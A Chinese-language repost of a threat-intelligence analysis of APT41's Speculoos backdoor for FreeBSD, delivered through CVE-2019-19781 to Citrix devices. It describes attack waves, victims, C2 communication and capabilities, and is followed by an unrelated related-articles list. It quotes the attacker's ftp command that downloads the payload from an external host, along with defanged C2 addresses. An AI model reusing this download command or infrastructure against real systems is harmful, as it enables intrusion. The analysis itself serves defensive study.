如何进行APT41 Speculoos后门分析

这篇文章将为大家详细讲解有关如何进行APT41 Speculoos后门分析,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

2020年3月25日,FireEye发表了APT41全球攻击活动报告。此攻击活动发生在1月20日至3月11日期间,主要对Citrix,Cisco和Zoho网络设备进行攻击。研究人员根据WildFire和AutoFocus数据获得了针对Citrix设备的攻击样本‘Speculoos’,还确定了北美,南美和欧洲等世界各地多个行业的受害者。

如何进行APT41 Speculoos后门分析

Speculoos的基于FreeBSD实现的,共识别出五个样本,所有样本文件大小基本相同,样本集之间存在微小差异。Speculoos利用CVE-2019-19781进行攻击传播,CVE-2019-19781影响Citrix Application Delivery Controller,Citrix Gateway和Citrix SD-WAN WANOP等设备,允许攻击者远程执行任意命令。

攻击细节

攻击者利用CVE-2019-19781远程执行命令:’/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]@ 66.42.98[.]220/<filename>’。

名列前茅波攻击始于2020年1月31日晚上,使用的文件名为bsd,影响了美国的多个高等教育机构,美国医疗机构和爱尔兰咨询公司。第二波攻击始于2020年2月24日,使用文件名为un,影响了哥伦比亚高等教育机构,奥地利制造组织,美国高等教育机构以及美国的州政府。

基于BSD系统的恶意软件相对少见,此工具和特定Citrix网络设备有关,因此Speculoos很可能是APT41组织专为此攻击活动研发的。

二进制分析

Speculoos后门是使用GCC 4.2.1编译的ELF可执行文件,可在FreeBSD系统上运行。 该负载无法保持持对目标持久控制,因此攻击者会使用额外的组件或其他攻击手段维持控制。 后门执行后将进入循环,该循环调用函数通过443端口与C2域进行通信:

alibaba.zzux[.]com (119.28.139[.]120)

如果无法通信,Speculoos会尝试通过443端口与119.28.139[.]20上的备份C2通信。如果连接到任一C2服务器,它将与服务器进行TLS握手。 图1显示了发送到C2服务器的数据包。

如何进行APT41 Speculoos后门分析

它请求login.live [.] com作为Server Name Indication(SNI)。

如何进行APT41 Speculoos后门分析

成功连接到C2并完成TLS握手后,Speculoos将对目标系统进行指纹识别,并将数据发送回C2服务器。其结构如下表1所示。

如何进行APT41 Speculoos后门分析

数据通过TLS通道发送,并且Speculoos会等待服务器的两字节响应。 收到响应后,它将向C2发送一个字节(0xa),并进入循环等待命令。 表2为攻击者可执行命令, 可让攻击者完全控制受害者系统。

如何进行APT41 Speculoos后门分析

研究中分析的两个Speculoos样本在功能上相同,两者之间只有八个字节不同,在收集系统信息时‘hostname‘和‘uname -s’命令不同导致。uname -s返回内核信息,hostname返回主机系统名称。 下图显示了两个Speculoos样本之间的二进制比较。

如何进行APT41 Speculoos后门分析

影响评估

互联网可访问设备允许未经授权的用户远程执行代会带来很大的安全问题,CVE-2019-19781影响了多个面向互联网的设备,攻击者积极利用此漏洞来安装自定义后门。受影响组织大量的网络活动都必须经过这些网络设备,攻击者可以监视或修改整个组织的网络活动。

默认情况下通过这些设备可以直接访问组织系统内部,攻击者无需考虑内部网络横向移动的问题。攻击者可以修改网络流量,注入恶意代码,执行中间人攻击,或将用户重定向到虚假登录页面来收集登录凭证。

关于如何进行APT41 Speculoos后门分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

文章标题:如何进行APT41 Speculoos后门分析,发布者:亿速云,转载请注明出处:https://worktile.com/kb/p/25008

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
亿速云的头像亿速云认证作者
上一篇 2022年9月15日
下一篇 2022年9月15日

相关推荐

  • mysql如何统计查询结果

    在mysql中,可以使用COUNT()函数来统计查询结果;该函数用于统计查询结果的行数,返回表中符合特定条件的记录行数。COUNT()函数有三种语法:1、“COUNT(*)”,返回总行数,包含NULL和非NULL值的行;2、“COUNT(字段名)”,返回不包含NULL值的行数,会忽略空值行;3、“C…

    2022年9月22日
    1.6K00
  • vlookup函数老是出错#n/a如何解决

    解决方法 1、首先打开要引用的数据表,然后把要查找的对象拷贝到这个表中,位置自己根据需要放置就可以了。 2、把光标定位在K2栏,在这里输入公式,有时记不熟的,可以在上面菜单栏里去找。 3、在公式里点击查找与应用右边的下拉箭头,找到最下边的vlookup函数点击。 4、这时出现函数参数对话框,在这里可…

    2022年9月21日
    71000
  • word字体放大快捷键是什么

    word字体放大快捷键 1、 我们只要先按住键盘左下角的“ ctrl ”键。 2、接着按下大键盘右上角的“ 】 ”按键。 3、连续点击,就可以将word文档字体无限放大了。 4、同理,按住“ ctrl ”再点击“ 【 ”就能无限缩小字体。 到此,关于“word字体放大快捷键是什么”的学习就结束了,希…

    2022年9月18日
    1.2K00
  • mysql存储引擎之间的区别有哪些

    mysql存储引擎之间的区别:1、MyISAM不支持事务,不支持行级锁,而InnoDB则支持事务和行级锁;2、InnoDB支持MVCC,支持外键,而MyISAM不支持MVCC和外键。 千万级数据并发如何处理?进入学习 本教程操作环境:windows10系统、mysql8.0.22版本、Dell G3…

    2022年8月30日
    61400
  • 数据库中增加一条新数据使用的命令是哪个

    这篇文章主要介绍“数据库中增加一条新数据使用的命令是哪个”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“数据库中增加一条新数据使用的命令是哪个”文章能帮助大家解决问题。 数据库中增加一条新数据使用的命令是“insert”。INSERT命令可以向数据库已有的表中…

    2022年9月15日
    81100
  • 使用Redis如何实现分布式锁

    1. 什么是分布式锁 当我们在编写多线程代码的时候,不同的线程可能会发生资源的争夺,为了避免资源争夺造成的错误,我们会对资源上锁,只有获得锁的线程才能继续往下执行。 进程中的锁,本质就是内存中一个变量,当一个线程执行某个操作申请加锁时,如果能成功把代表锁的变量值设置为1,则表示获得了锁,其他线程想要…

    2022年9月8日
    55300
  • 网易服务器等级是什么

    网易服务器等级详解 在谈论网易服务器等级时,我们主要关注的是性能、稳定性、服务支持与安全等维度。1、 网易云提供的服务器种类繁多,以满足不同规模业务的需求。2、 它们的稳定性和高性能得到了业界的广泛认可。3、 网易云还提供专业的服务支持和严格的安全措施,确保客户数据的安全。在这些方面,网易云服务器的…

    2024年4月23日
    4300
  • WEB开发中常见漏洞防御方法是什么

    SQL注入漏洞 SQL注入漏洞产生原因及危害 在sql查询中很多程序员会将变量拼接入sql语句后再进行查询,这样如果黑客在参数中插入其他sql语句就可能导致我们网站的密码被被黑客查询出来或者被拖取大量数据,如果在开发中使用了字符串拼接进SQL语句就必须进行严格的过滤,任何用户输入的内容都不可信任,以…

    2022年9月26日
    64300
  • 推理服务器作用是什么

    摘要 推理服务器的作用是1、执行模型推理任务、2、优化推理性能、3、降低延迟、4、提高吞吐量、5、支持多种模型格式、6、提供模型管理与扩展功能。 在这些核心功能中,优化推理性能尤为关键,因为它直接关系到模型部署后的效率和稳定性。推理服务器通过使用专门的算法和硬件加速技术,大幅提高处理速度,同时保持高…

    2024年4月25日
    2700
  • 电脑服务器主板是什么

    电脑服务器主板是计算机服务器的主要硬件平台之一,提供CPU、内存、硬盘以及外围设备接口,协同工作以确保服务器稳定、高效地运行。不同于普通桌面电脑主板,服务器主板针对处理大量数据和提供24/7服务的需求,设计更加偏重于可靠性和扩展性。具体地,服务器主板通常配备了多路处理器插槽、更多的内存插槽数、以及更…

    2024年4月23日
    3700
注册PingCode 在线客服
站长微信
站长微信
电话联系

400-800-1024

工作日9:30-21:00在线

分享本页
返回顶部